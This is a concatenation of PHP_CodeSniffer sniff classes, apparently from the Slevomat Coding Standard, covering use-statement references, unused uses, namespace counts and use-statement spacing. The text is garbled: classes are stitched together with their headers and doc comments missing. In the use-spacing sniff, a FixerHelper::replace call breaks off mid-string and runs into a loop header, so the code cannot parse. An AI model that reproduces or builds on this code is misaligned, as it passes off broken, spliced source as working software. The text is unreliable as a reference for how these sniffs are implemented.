UseStatement::TYPE_FUNCTION => [], UseStatement::TYPE_CONSTANT => [], ]; $phpcsFile->fixer->beginChangeset(); foreach ($referenceErrors as $referenceData) { $reference = $referenceData->reference; /** @var int $startPointer */ $startPointer = $reference->startPointer; $canonicalName = $referenceData->canonicalName; $nameToReference = NamespaceHelper::getUnqualifiedNameFromFullyQualifiedName($reference->name); $canonicalNameToReference = $reference->isConstant ? $nameToReference : strtolower($nameToReference); $isGlobalConstantFallback = $referenceData->isGlobalConstantFallback; $isGlobalFunctionFallback = $referenceData->isGlobalFunctionFallback; $useStatements = UseStatementHelper::getUseStatementsForPointer($phpcsFile, $reference->startPointer); $canBeFixed = array_reduce( $alreadyAddedUses[$reference->type], static function (bool $carry, string $use) use ($canonicalName): bool { $useLastName = strtolower(NamespaceHelper::getLastNamePart($use)); $canonicalLastName = strtolower(NamespaceHelper::getLastNamePart($canonicalName)); return $useLastName === $canonicalLastName ? false : $carry; }, true, ); if ( ( $reference->isClass && array_key_exists($canonicalNameToReference, $definedClassesIndex) && $canonicalName !== NamespaceHelper::normalizeToCanonicalName($definedClassesIndex[$canonicalNameToReference]) ) || ( $reference->isClass && array_key_exists($canonicalNameToReference, $classReferencesIndex) && $canonicalName !== NamespaceHelper::normalizeToCanonicalName($classReferencesIndex[$canonicalNameToReference]) ) || ($reference->isFunction && array_key_exists($canonicalNameToReference, $definedFunctionsIndex)) || ($reference->isConstant && array_key_exists($canonicalNameToReference, $definedConstantsIndex)) ) { $canBeFixed = false; } foreach ($useStatements as $useStatement) { if ($useStatement->getType() !== $reference->type) { continue; } if ($useStatement->getFullyQualifiedTypeName() === $canonicalName) { continue; } if ($useStatement->getCanonicalNameAsReferencedInFile() !== $canonicalNameToReference) { continue; } $canBeFixed = false; break; } $label = sprintf( $reference->isConstant ? 'Constant %s' : ($reference->isFunction ? 'Function %s()' : 'Class %s'), $reference->name, ); $errorCode = $isGlobalConstantFallback || $isGlobalFunctionFallback ? self::CODE_REFERENCE_VIA_FALLBACK_GLOBAL_NAME : self::CODE_REFERENCE_VIA_FULLY_QUALIFIED_NAME; $errorMessage = $isGlobalConstantFallback || $isGlobalFunctionFallback ? sprintf('%s should not be referenced via a fallback global name, but via a use statement.', $label) : sprintf('%s should not be referenced via a fully qualified name, but via a use statement.', $label); if (!$canBeFixed) { $phpcsFile->addError($errorMessage, $startPointer, $errorCode); continue; } $fix = $phpcsFile->addFixableError($errorMessage, $startPointer, $errorCode); if (!$fix) { continue; } $addUse = !in_array($canonicalName, $alreadyAddedUses[$reference->type], true); if ( $reference->isClass && array_key_exists($canonicalNameToReference, $definedClassesIndex) ) { $addUse = false; } foreach ($useStatements as $useStatement) { if ( $useStatement->getType() !== $reference->type || $useStatement->getFullyQualifiedTypeName() !== $canonicalName ) { continue; } $nameToReference = $useStatement->getNameAsReferencedInFile(); $addUse = false; // Lock the use statement, so it is not modified by other sniffs FixerHelper::replace( $phpcsFile, $useStatement->getPointer(), $phpcsFile->fixer->getTokenContent($useStatement->getPointer()), ); break; } if ($addUse) { $useStatementPlacePointer = $this->getUseStatementPlacePointer($phpcsFile, $openTagPointer, $useStatements); $useTypeName = UseStatement::getTypeName($reference->type); $useTypeFormatted = $useTypeName !== null ? sprintf('%s ', $useTypeName) : ''; $phpcsFile->fixer->addNewline($useStatementPlacePointer); FixerHelper::add( $phpcsFile, $useStatementPlacePointer, sprintf('use %s%s;', $useTypeFormatted, $canonicalName), ); $alreadyAddedUses[$reference->type][] = $canonicalName; } if ($reference->source === self::SOURCE_ANNOTATION) { $fixedDocComment = AnnotationHelper::fixAnnotation( $reference->parsedDocComment, $reference->annotation, $reference->nameNode, new IdentifierTypeNode($nameToReference), ); FixerHelper::change( $phpcsFile, $reference->parsedDocComment->getOpenPointer(), $reference->parsedDocComment->getClosePointer(), $fixedDocComment, ); } elseif ($reference->source === self::SOURCE_ANNOTATION_CONSTANT_FETCH) { $fixedDocComment = AnnotationHelper::fixAnnotation( $reference->parsedDocComment, $reference->annotation, $reference->constantFetchNode, new ConstFetchNode($nameToReference, $reference->constantFetchNode->name), ); FixerHelper::change( $phpcsFile, $reference->parsedDocComment->getOpenPointer(), $reference->parsedDocComment->getClosePointer(), $fixedDocComment, ); } elseif ($reference->source === self::SOURCE_ATTRIBUTE) { $attributeContent = TokenHelper::getContent($phpcsFile, $startPointer, $reference->endPointer); $fixedAttributeContent = preg_replace( '~(?<=\W)' . preg_quote($reference->name, '~') . '(?=\W)~', $nameToReference, $attributeContent, ); FixerHelper::change($phpcsFile, $startPointer, $reference->endPointer, $fixedAttributeContent); } else { FixerHelper::change($phpcsFile, $startPointer, $reference->endPointer, $nameToReference); } } $phpcsFile->fixer->endChangeset(); } /** * @return list */ private function getSpecialExceptionNames(): array { $this->normalizedSpecialExceptionNames ??= SniffSettingsHelper::normalizeArray($this->specialExceptionNames); return $this->normalizedSpecialExceptionNames; } /** * @return list */ private function getIgnoredNames(): array { $this->normalizedIgnoredNames ??= SniffSettingsHelper::normalizeArray($this->ignoredNames); return $this->normalizedIgnoredNames; } /** * @return list */ private function getNamespacesRequiredToUse(): array { $this->normalizedNamespacesRequiredToUse ??= SniffSettingsHelper::normalizeArray($this->namespacesRequiredToUse); return $this->normalizedNamespacesRequiredToUse; } /** * @param array $useStatements */ private function getUseStatementPlacePointer(File $phpcsFile, int $openTagPointer, array $useStatements): int { if (count($useStatements) !== 0) { $lastUseStatement = array_values($useStatements)[count($useStatements) - 1]; /** @var int $useStatementPlacePointer */ $useStatementPlacePointer = TokenHelper::findNext($phpcsFile, T_SEMICOLON, $lastUseStatement->getPointer() + 1); return $useStatementPlacePointer; } $namespacePointer = TokenHelper::findNext($phpcsFile, T_NAMESPACE, $openTagPointer + 1); if ($namespacePointer !== null) { /** @var int $useStatementPlacePointer */ $useStatementPlacePointer = TokenHelper::findNext($phpcsFile, [T_SEMICOLON, T_OPEN_CURLY_BRACKET], $namespacePointer + 1); return $useStatementPlacePointer; } $tokens = $phpcsFile->getTokens(); $useStatementPlacePointer = $openTagPointer; if ( substr($tokens[$openTagPointer]['content'], -1) !== $phpcsFile->eolChar && $tokens[$openTagPointer + 1]['content'] === $phpcsFile->eolChar ) { // @codeCoverageIgnoreStart $useStatementPlacePointer++; // @codeCoverageIgnoreEnd } $nonWhitespacePointerAfterOpenTag = TokenHelper::findNextNonWhitespace($phpcsFile, $openTagPointer + 1); if (in_array($tokens[$nonWhitespacePointerAfterOpenTag]['code'], Tokens::$commentTokens, true)) { $commentEndPointer = CommentHelper::getCommentEndPointer($phpcsFile, $nonWhitespacePointerAfterOpenTag); if (StringHelper::endsWith($tokens[$commentEndPointer]['content'], $phpcsFile->eolChar)) { $useStatementPlacePointer = $commentEndPointer; } else { $newLineAfterComment = $commentEndPointer + 1; if (array_key_exists($newLineAfterComment, $tokens) && $tokens[$newLineAfterComment]['content'] === $phpcsFile->eolChar) { $pointerAfterCommentEnd = TokenHelper::findNextNonWhitespace($phpcsFile, $newLineAfterComment + 1); if (TokenHelper::findNextContent( $phpcsFile, T_WHITESPACE, $phpcsFile->eolChar, $newLineAfterComment + 1, $pointerAfterCommentEnd, ) !== null) { $useStatementPlacePointer = $commentEndPointer; } } } } $pointerAfter = TokenHelper::findNextEffective($phpcsFile, $useStatementPlacePointer + 1); if ($tokens[$pointerAfter]['code'] === T_DECLARE) { return TokenHelper::findNext($phpcsFile, T_SEMICOLON, $pointerAfter + 1); } return $useStatementPlacePointer; } private function isRequiredToBeUsed(string $name): bool { if ($this->namespacesRequiredToUse === []) { return true; } foreach ($this->getNamespacesRequiredToUse() as $namespace) { if (!NamespaceHelper::isTypeInNamespace($name, $namespace)) { continue; } return true; } return false; } /** * @return list */ private function getReferences(File $phpcsFile, int $openTagPointer): array { $tokens = $phpcsFile->getTokens(); $references = []; foreach (ReferencedNameHelper::getAllReferencedNames($phpcsFile, $openTagPointer) as $referencedName) { $reference = new stdClass(); $reference->source = self::SOURCE_CODE; $reference->name = $referencedName->getNameAsReferencedInFile(); $reference->type = $referencedName->getType(); $reference->startPointer = $referencedName->getStartPointer(); $reference->endPointer = $referencedName->getEndPointer(); $reference->isClass = $referencedName->isClass(); $reference->isConstant = $referencedName->isConstant(); $reference->isFunction = $referencedName->isFunction(); $references[] = $reference; } foreach (ReferencedNameHelper::getAllReferencedNamesInAttributes($phpcsFile, $openTagPointer) as $referencedName) { $reference = new stdClass(); $reference->source = self::SOURCE_ATTRIBUTE; $reference->name = $referencedName->getNameAsReferencedInFile(); $reference->type = $referencedName->getType(); $reference->startPointer = $referencedName->getStartPointer(); $reference->endPointer = $referencedName->getEndPointer(); $reference->isClass = $referencedName->isClass(); $reference->isConstant = $referencedName->isConstant(); $reference->isFunction = $referencedName->isFunction(); $references[] = $reference; } if (!$this->searchAnnotations) { return $references; } $searchAnnotationsPointer = $openTagPointer + 1; while (true) { $docCommentOpenPointer = TokenHelper::findNext($phpcsFile, T_DOC_COMMENT_OPEN_TAG, $searchAnnotationsPointer); if ($docCommentOpenPointer === null) { break; } $parsedDocComment = DocCommentHelper::parseDocComment($phpcsFile, $docCommentOpenPointer); if ($parsedDocComment !== null) { $annotations = AnnotationHelper::getAnnotations($phpcsFile, $docCommentOpenPointer); foreach ($annotations as $annotation) { $identifierTypeNodes = AnnotationHelper::getAnnotationNodesByType($annotation->getNode(), IdentifierTypeNode::class); foreach ($identifierTypeNodes as $typeHintNode) { $typeHint = $typeHintNode->name; $lowercasedTypeHint = strtolower($typeHint); if ( TypeHintHelper::isSimpleTypeHint($lowercasedTypeHint) || TypeHintHelper::isSimpleUnofficialTypeHints($lowercasedTypeHint) || !TypeHelper::isTypeName($typeHint) ) { continue; } $reference = new stdClass(); $reference->source = self::SOURCE_ANNOTATION; $reference->parsedDocComment = $parsedDocComment; $reference->annotation = $annotation; $reference->nameNode = $typeHintNode; $reference->name = $typeHint; $reference->type = ReferencedName::TYPE_CLASS; $reference->startPointer = $annotation->getStartPointer(); $reference->endPointer = null; $reference->isClass = true; $reference->isConstant = false; $reference->isFunction = false; $references[] = $reference; } $constantFetchNodes = AnnotationHelper::getAnnotationNodesByType($annotation->getNode(), ConstFetchNode::class); foreach ($constantFetchNodes as $constantFetchNode) { $reference = new stdClass(); $reference->source = self::SOURCE_ANNOTATION_CONSTANT_FETCH; $reference->parsedDocComment = $parsedDocComment; $reference->annotation = $annotation; $reference->constantFetchNode = $constantFetchNode; $reference->name = $constantFetchNode->className; $reference->type = ReferencedName::TYPE_CLASS; $reference->startPointer = $annotation->getStartPointer(); $reference->endPointer = null; $reference->isClass = true; $reference->isConstant = false; $reference->isFunction = false; $references[] = $reference; } } } $searchAnnotationsPointer = $tokens[$docCommentOpenPointer]['comment_closer'] + 1; } return $references; } } */ public function register(): array { return [ T_NAMESPACE, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $namespacePointer */ public function process(File $phpcsFile, $namespacePointer): void { $tokens = $phpcsFile->getTokens(); $pointerAfterNamespace = TokenHelper::findNextEffective($phpcsFile, $namespacePointer + 1); if ($tokens[$pointerAfterNamespace]['code'] === T_NS_SEPARATOR) { return; } $previousNamespacePointer = $namespacePointer; do { $previousNamespacePointer = TokenHelper::findPrevious($phpcsFile, T_NAMESPACE, $previousNamespacePointer - 1); if ($previousNamespacePointer === null) { return; } $pointerAfterPreviousNamespace = TokenHelper::findNextEffective($phpcsFile, $previousNamespacePointer + 1); if ($tokens[$pointerAfterPreviousNamespace]['code'] === T_NS_SEPARATOR) { continue; } break; } while (true); $phpcsFile->addError('Only one namespace in a file is allowed.', $namespacePointer, self::CODE_MORE_NAMESPACES_IN_FILE); } } */ public array $ignoredAnnotationNames = []; /** @var list */ public array $ignoredAnnotations = []; /** @var list|null */ private ?array $normalizedIgnoredAnnotationNames = null; /** @var list|null */ private ?array $normalizedIgnoredAnnotations = null; /** * @return array */ public function register(): array { return [ T_OPEN_TAG, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $openTagPointer */ public function process(File $phpcsFile, $openTagPointer): void { if (TokenHelper::findPrevious($phpcsFile, T_OPEN_TAG, $openTagPointer - 1) !== null) { return; } $startPointer = TokenHelper::findPrevious($phpcsFile, T_NAMESPACE, $openTagPointer - 1) ?? $openTagPointer; $fileUnusedNames = UseStatementHelper::getFileUseStatements($phpcsFile); $referencedNamesInCode = ReferencedNameHelper::getAllReferencedNames($phpcsFile, $startPointer); $referencedNamesInAttributes = ReferencedNameHelper::getAllReferencedNamesInAttributes($phpcsFile, $startPointer); $pointersBeforeUseStatements = array_reverse(NamespaceHelper::getAllNamespacesPointers($phpcsFile)); $allUsedNames = []; foreach ([$referencedNamesInCode, $referencedNamesInAttributes] as $referencedNames) { foreach ($referencedNames as $referencedName) { $pointer = $referencedName->getStartPointer(); $pointerBeforeUseStatements = $this->firstPointerBefore($pointer, $pointersBeforeUseStatements, $startPointer); $name = $referencedName->getNameAsReferencedInFile(); $nameParts = NamespaceHelper::getNameParts($name); $nameAsReferencedInFile = $nameParts[0]; $nameReferencedWithoutSubNamespace = count($nameParts) === 1; $uniqueId = $nameReferencedWithoutSubNamespace ? UseStatement::getUniqueId($referencedName->getType(), $nameAsReferencedInFile) : UseStatement::getUniqueId(ReferencedName::TYPE_CLASS, $nameAsReferencedInFile); if ( NamespaceHelper::isFullyQualifiedName($name) || !array_key_exists($pointerBeforeUseStatements, $fileUnusedNames) || !array_key_exists($uniqueId, $fileUnusedNames[$pointerBeforeUseStatements]) ) { continue; } $allUsedNames[$pointerBeforeUseStatements][$uniqueId] = true; } } if ($this->searchAnnotations) { $tokens = $phpcsFile->getTokens(); $searchAnnotationsPointer = $startPointer + 1; while (true) { $docCommentOpenPointer = TokenHelper::findNext($phpcsFile, T_DOC_COMMENT_OPEN_TAG, $searchAnnotationsPointer); if ($docCommentOpenPointer === null) { break; } $annotations = AnnotationHelper::getAnnotations($phpcsFile, $docCommentOpenPointer); if ($annotations === []) { $searchAnnotationsPointer = $tokens[$docCommentOpenPointer]['comment_closer'] + 1; continue; } $pointerBeforeUseStatements = $this->firstPointerBefore( $docCommentOpenPointer - 1, $pointersBeforeUseStatements, $startPointer, ); if (!array_key_exists($pointerBeforeUseStatements, $fileUnusedNames)) { $searchAnnotationsPointer = $tokens[$docCommentOpenPointer]['comment_closer'] + 1; continue; } foreach ($fileUnusedNames[$pointerBeforeUseStatements] as $useStatement) { if (!$useStatement->isClass()) { continue; } $nameAsReferencedInFile = $useStatement->getNameAsReferencedInFile(); $uniqueId = UseStatement::getUniqueId($useStatement->getType(), $nameAsReferencedInFile); foreach ($annotations as $annotation) { if (in_array($annotation->getName(), $this->getIgnoredAnnotations(), true)) { continue; } if ($annotation->isInvalid()) { continue; } $contentsToCheck = []; if ($annotation->getValue() instanceof GenericTagValueNode) { $contentsToCheck[] = $annotation->getName(); $contentsToCheck[] = $annotation->getValue()->value; } else { $identifierTypeNodes = AnnotationHelper::getAnnotationNodesByType( $annotation->getNode(), IdentifierTypeNode::class, ); $doctrineAnnotations = AnnotationHelper::getAnnotationNodesByType( $annotation->getNode(), DoctrineAnnotation::class, ); $constFetchNodes = AnnotationHelper::getAnnotationNodesByType($annotation->getNode(), ConstFetchNode::class); $contentsToCheck = array_filter(array_merge( $contentsToCheck, array_map(static function (IdentifierTypeNode $identifierTypeNode): ?string { if ( TypeHintHelper::isSimpleTypeHint($identifierTypeNode->name) || TypeHintHelper::isSimpleUnofficialTypeHints($identifierTypeNode->name) || !TypeHelper::isTypeName($identifierTypeNode->name) ) { return null; } return $identifierTypeNode->name; }, $identifierTypeNodes), array_map(function (DoctrineAnnotation $doctrineAnnotation): ?string { if (in_array($doctrineAnnotation->name, $this->getIgnoredAnnotationNames(), true)) { return null; } return $doctrineAnnotation->name; }, $doctrineAnnotations), array_map( static fn (ConstFetchNode $constFetchNode): string => $constFetchNode->className, $constFetchNodes, ), ), static fn (?string $content): bool => $content !== null); } foreach ($contentsToCheck as $contentToCheck) { if (preg_match( '~(?<=^|[^a-z\\\\])(' . preg_quote($nameAsReferencedInFile, '~') . ')(?=\\s|::|\\\\|\||\[|$)~im', $contentToCheck, ) === 0) { continue; } $allUsedNames[$pointerBeforeUseStatements][$uniqueId] = true; } } } $searchAnnotationsPointer = $tokens[$docCommentOpenPointer]['comment_closer'] + 1; } } foreach ($fileUnusedNames as $pointerBeforeUnusedNames => $unusedNames) { $usedNames = $allUsedNames[$pointerBeforeUnusedNames] ?? []; foreach (array_diff_key($unusedNames, $usedNames) as $unusedUse) { $fullName = $unusedUse->getFullyQualifiedTypeName(); if ( $unusedUse->getNameAsReferencedInFile() !== $fullName && $unusedUse->getNameAsReferencedInFile() !== NamespaceHelper::getUnqualifiedNameFromFullyQualifiedName($fullName) ) { $fullName .= sprintf(' (as %s)', $unusedUse->getNameAsReferencedInFile()); } $fix = $phpcsFile->addFixableError(sprintf( 'Type %s is not used in this file.', $fullName, ), $unusedUse->getPointer(), self::CODE_UNUSED_USE); if (!$fix) { continue; } $endPointer = TokenHelper::findNext($phpcsFile, T_SEMICOLON, $unusedUse->getPointer()) + 1; $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetweenIncluding($phpcsFile, $unusedUse->getPointer(), $endPointer); $phpcsFile->fixer->endChangeset(); } } } /** * @return list */ private function getIgnoredAnnotationNames(): array { $this->normalizedIgnoredAnnotationNames ??= array_merge( SniffSettingsHelper::normalizeArray($this->ignoredAnnotationNames), [ '@param', '@throws', '@property', '@method', ], ); return $this->normalizedIgnoredAnnotationNames; } /** * @return list */ private function getIgnoredAnnotations(): array { $this->normalizedIgnoredAnnotations ??= SniffSettingsHelper::normalizeArray($this->ignoredAnnotations); return $this->normalizedIgnoredAnnotations; } /** * @param list $pointersBeforeUseStatements */ private function firstPointerBefore(int $pointer, array $pointersBeforeUseStatements, int $startPointer): int { foreach ($pointersBeforeUseStatements as $pointerBeforeUseStatements) { if ($pointerBeforeUseStatements < $pointer) { return $pointerBeforeUseStatements; } } return $startPointer; } } */ public function register(): array { return [ T_USE, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $usePointer */ public function process(File $phpcsFile, $usePointer): void { if (!UseStatementHelper::isImportUse($phpcsFile, $usePointer)) { return; } $tokens = $phpcsFile->getTokens(); /** @var int $nextTokenPointer */ $nextTokenPointer = TokenHelper::findNextEffective($phpcsFile, $usePointer + 1); if ( in_array($tokens[$nextTokenPointer]['code'], TokenHelper::ONLY_NAME_TOKEN_CODES, true) && ( $tokens[$nextTokenPointer]['content'] === 'function' || $tokens[$nextTokenPointer]['content'] === 'const' ) ) { /** @var int $nextTokenPointer */ $nextTokenPointer = TokenHelper::findNextEffective($phpcsFile, $nextTokenPointer + 1); } if (!NamespaceHelper::isFullyQualifiedPointer($phpcsFile, $nextTokenPointer)) { return; } $fix = $phpcsFile->addFixableError( 'Use statement cannot start with a backslash.', $nextTokenPointer, self::CODE_STARTS_WITH_BACKSLASH, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::replace( $phpcsFile, $nextTokenPointer, ltrim($tokens[$nextTokenPointer]['content'], '\\'), ); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [ T_USE, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $usePointer */ public function process(File $phpcsFile, $usePointer): void { if (!UseStatementHelper::isImportUse($phpcsFile, $usePointer)) { return; } $namespaceName = NamespaceHelper::findCurrentNamespaceName($phpcsFile, $usePointer); $namespaceName ??= ''; $usedTypeName = UseStatementHelper::getFullyQualifiedTypeNameFromUse($phpcsFile, $usePointer); if (!StringHelper::startsWith($usedTypeName, $namespaceName)) { return; } $asPointer = $this->findAsPointer($phpcsFile, $usePointer); if ($asPointer !== null) { return; } $usedTypeNameRest = substr($usedTypeName, strlen($namespaceName)); if (!NamespaceHelper::isFullyQualifiedName($usedTypeNameRest) && $namespaceName !== '') { return; } if (NamespaceHelper::hasNamespace($usedTypeNameRest)) { return; } $fix = $phpcsFile->addFixableError(sprintf( 'Use %s is from the same namespace – that is prohibited.', $usedTypeName, ), $usePointer, self::CODE_USE_FROM_SAME_NAMESPACE); if (!$fix) { return; } $endPointer = TokenHelper::findNext($phpcsFile, T_SEMICOLON, $usePointer) + 1; $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetweenIncluding($phpcsFile, $usePointer, $endPointer); $phpcsFile->fixer->endChangeset(); } private function findAsPointer(File $phpcsFile, int $startPointer): ?int { return TokenHelper::findNextLocal($phpcsFile, T_AS, $startPointer); } } */ public array $namespacesRequiredToUse = []; /** @var list|null */ private ?array $normalizedNamespacesRequiredToUse = null; /** * @return array */ public function register(): array { return [ T_USE, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $usePointer */ public function process(File $phpcsFile, $usePointer): void { if (!UseStatementHelper::isImportUse($phpcsFile, $usePointer)) { return; } $className = UseStatementHelper::getFullyQualifiedTypeNameFromUse($phpcsFile, $usePointer); if ($this->allowUseFromRootNamespace && !NamespaceHelper::isQualifiedName($className)) { return; } foreach ($this->getNamespacesRequiredToUse() as $namespace) { if (!NamespaceHelper::isTypeInNamespace($className, $namespace)) { continue; } return; } $phpcsFile->addError(sprintf( 'Type %s should not be used, but referenced via a fully qualified name.', $className, ), $usePointer, self::CODE_NON_FULLY_QUALIFIED); } /** * @return list */ private function getNamespacesRequiredToUse(): array { $this->normalizedNamespacesRequiredToUse ??= SniffSettingsHelper::normalizeArray($this->namespacesRequiredToUse); return $this->normalizedNamespacesRequiredToUse; } } */ public function register(): array { return [ T_OPEN_TAG, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $openTagPointer */ public function process(File $phpcsFile, $openTagPointer): void { $this->linesCountBeforeFirstUse = SniffSettingsHelper::normalizeInteger($this->linesCountBeforeFirstUse); $this->linesCountBetweenUseTypes = SniffSettingsHelper::normalizeInteger($this->linesCountBetweenUseTypes); $this->linesCountAfterLastUse = SniffSettingsHelper::normalizeInteger($this->linesCountAfterLastUse); if (TokenHelper::findPrevious($phpcsFile, T_OPEN_TAG, $openTagPointer - 1) !== null) { return; } $fileUseStatements = UseStatementHelper::getFileUseStatements($phpcsFile); if (count($fileUseStatements) === 0) { return; } foreach ($fileUseStatements as $useStatementsByName) { $useStatements = array_values($useStatementsByName); $this->checkLinesBeforeFirstUse($phpcsFile, $useStatements[0]); $this->checkLinesAfterLastUse($phpcsFile, $useStatements[count($useStatements) - 1]); $this->checkLinesBetweenSameTypesOfUse($phpcsFile, $useStatements); $this->checkLinesBetweenDifferentTypesOfUse($phpcsFile, $useStatements); } } private function checkLinesBeforeFirstUse(File $phpcsFile, UseStatement $firstUse): void { $tokens = $phpcsFile->getTokens(); /** @var int $pointerBeforeFirstUse */ $pointerBeforeFirstUse = TokenHelper::findPreviousNonWhitespace($phpcsFile, $firstUse->getPointer() - 1); $useStartPointer = $firstUse->getPointer(); if ( in_array($tokens[$pointerBeforeFirstUse]['code'], Tokens::$commentTokens, true) && $tokens[$pointerBeforeFirstUse]['line'] + 1 === $tokens[$useStartPointer]['line'] ) { $useStartPointer = array_key_exists('comment_opener', $tokens[$pointerBeforeFirstUse]) ? $tokens[$pointerBeforeFirstUse]['comment_opener'] : CommentHelper::getMultilineCommentStartPointer($phpcsFile, $pointerBeforeFirstUse); /** @var int $pointerBeforeFirstUse */ $pointerBeforeFirstUse = TokenHelper::findPreviousNonWhitespace($phpcsFile, $useStartPointer - 1); } $actualLinesCountBeforeFirstUse = $tokens[$useStartPointer]['line'] - $tokens[$pointerBeforeFirstUse]['line'] - 1; if ($actualLinesCountBeforeFirstUse === $this->linesCountBeforeFirstUse) { return; } $fix = $phpcsFile->addFixableError( sprintf( 'Expected %d line%s before first use statement, found %d.', $this->linesCountBeforeFirstUse, $this->linesCountBeforeFirstUse === 1 ? '' : 's', $actualLinesCountBeforeFirstUse, ), $firstUse->getPointer(), self::CODE_INCORRECT_LINES_COUNT_BEFORE_FIRST_USE, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); if ($tokens[$pointerBeforeFirstUse]['code'] === T_OPEN_TAG) { FixerHelper::replace($phpcsFile, $pointerBeforeFirstUse, 'linesCountBeforeFirstUse; $i++) { $phpcsFile->fixer->addNewline($pointerBeforeFirstUse); } $phpcsFile->fixer->endChangeset(); } private function checkLinesAfterLastUse(File $phpcsFile, UseStatement $lastUse): void { $tokens = $phpcsFile->getTokens(); /** @var int $useEndPointer */ $useEndPointer = TokenHelper::findNextLocal($phpcsFile, T_SEMICOLON, $lastUse->getPointer() + 1); $pointerAfterWhitespaceEnd = TokenHelper::findNextNonWhitespace($phpcsFile, $useEndPointer + 1); if ($pointerAfterWhitespaceEnd === null) { return; } if ( in_array($tokens[$pointerAfterWhitespaceEnd]['code'], Tokens::$commentTokens, true) && $tokens[$pointerAfterWhitespaceEnd]['code'] !== T_DOC_COMMENT_OPEN_TAG && ( $tokens[$useEndPointer]['line'] === $tokens[$pointerAfterWhitespaceEnd]['line'] || $tokens[$useEndPointer]['line'] + 1 === $tokens[$pointerAfterWhitespaceEnd]['line'] ) ) { $useEndPointer = CommentHelper::getMultilineCommentEndPointer($phpcsFile, $pointerAfterWhitespaceEnd); /** @var int $pointerAfterWhitespaceEnd */ $pointerAfterWhitespaceEnd = TokenHelper::findNextNonWhitespace($phpcsFile, $useEndPointer + 1); } $actualLinesCountAfterLastUse = $tokens[$pointerAfterWhitespaceEnd]['line'] - $tokens[$useEndPointer]['line'] - 1; if ($actualLinesCountAfterLastUse === $this->linesCountAfterLastUse) { return; } $fix = $phpcsFile->addFixableError( sprintf( 'Expected %d line%s after last use statement, found %d.', $this->linesCountAfterLastUse, $this->linesCountAfterLastUse === 1 ? '' : 's', $actualLinesCountAfterLastUse, ), $lastUse->getPointer(), self::CODE_INCORRECT_LINES_COUNT_AFTER_LAST_USE, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetween($phpcsFile, $useEndPointer, $pointerAfterWhitespaceEnd); $linesToAdd = $this->linesCountAfterLastUse; if (CommentHelper::isLineComment($phpcsFile, $useEndPointer)) { $linesToAdd--; } for ($i = 0; $i <= $linesToAdd; $i++) { $phpcsFile->fixer->addNewline($useEndPointer); } $phpcsFile->fixer->endChangeset(); } /** * @param list $useStatements */ private function checkLinesBetweenSameTypesOfUse(File $phpcsFile, array $useStatements): void { if (count($useStatements) === 1) { return; } $tokens = $phpcsFile->getTokens(); $requiredLinesCountBetweenUses = 0; $previousUse = null; foreach ($useStatements as $use) { if ($previousUse === null) { $previousUse = $use; continue; } if (!$use->hasSameType($previousUse)) { $previousUse = null; continue; } /** @var int $pointerBeforeUse */ $pointerBeforeUse = TokenHelper::findPreviousNonWhitespace($phpcsFile, $use->getPointer() - 1); $useStartPointer = $use->getPointer(); if ( in_array($tokens[$pointerBeforeUse]['code'], Tokens::$commentTokens, true) && TokenHelper::findFirstNonWhitespaceOnLine($phpcsFile, $pointerBeforeUse) === $pointerBeforeUse && $tokens[$pointerBeforeUse]['line'] + 1 === $tokens[$useStartPointer]['line'] ) { $useStartPointer = array_key_exists('comment_opener', $tokens[$pointerBeforeUse]) ? $tokens[$pointerBeforeUse]['comment_opener'] : CommentHelper::getMultilineCommentStartPointer($phpcsFile, $pointerBeforeUse); } $actualLinesCountAfterPreviousUse = $tokens[$useStartPointer]['line'] - $tokens[$previousUse->getPointer()]['line'] - 1; if ($actualLinesCountAfterPreviousUse === $requiredLinesCountBetweenUses) { $previousUse = $use; continue; } $fix = $phpcsFile->addFixableError( sprintf( 'Expected 0 lines between same types of use statement, found %d.', $actualLinesCountAfterPreviousUse, ), $use->getPointer(), self::CODE_INCORRECT_LINES_COUNT_BETWEEN_SAME_TYPES_OF_USE, ); if (!$fix) { $previousUse = $use; continue; } /** @var int $previousUseSemicolonPointer */ $previousUseSemicolonPointer = TokenHelper::findNextLocal($phpcsFile, T_SEMICOLON, $previousUse->getPointer() + 1); $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetween($phpcsFile, $previousUseSemicolonPointer, $useStartPointer); $phpcsFile->fixer->addNewline($previousUseSemicolonPointer); $phpcsFile->fixer->endChangeset(); $previousUse = $use; } } /** * @param list $useStatements */ private function checkLinesBetweenDifferentTypesOfUse(File $phpcsFile, array $useStatements): void { if (count($useStatements) === 1) { return; } $tokens = $phpcsFile->getTokens(); $previousUse = null; foreach ($useStatements as $use) { if ($previousUse === null) { $previousUse = $use; continue; } if ($use->hasSameType($previousUse)) { $previousUse = $use; continue; } /** @var int $pointerBeforeUse */ $pointerBeforeUse = TokenHelper::findPreviousNonWhitespace($phpcsFile, $use->getPointer() - 1); $useStartPointer = $use->getPointer(); if ( in_array($tokens[$pointerBeforeUse]['code'], Tokens::$commentTokens, true) && TokenHelper::findFirstNonWhitespaceOnLine($phpcsFile, $pointerBeforeUse) === $pointerBeforeUse && $tokens[$pointerBeforeUse]['line'] + 1 === $tokens[$useStartPointer]['line'] ) { $useStartPointer = array_key_exists('comment_opener', $tokens[$pointerBeforeUse]) ? $tokens[$pointerBeforeUse]['comment_opener'] : CommentHelper::getMultilineCommentStartPointer($phpcsFile, $pointerBeforeUse); } $actualLinesCountAfterPreviousUse = $tokens[$useStartPointer]['line'] - $tokens[$previousUse->getPointer()]['line'] - 1; if ($actualLinesCountAfterPreviousUse === $this->linesCountBetweenUseTypes) { $previousUse = $use; continue; } $fix = 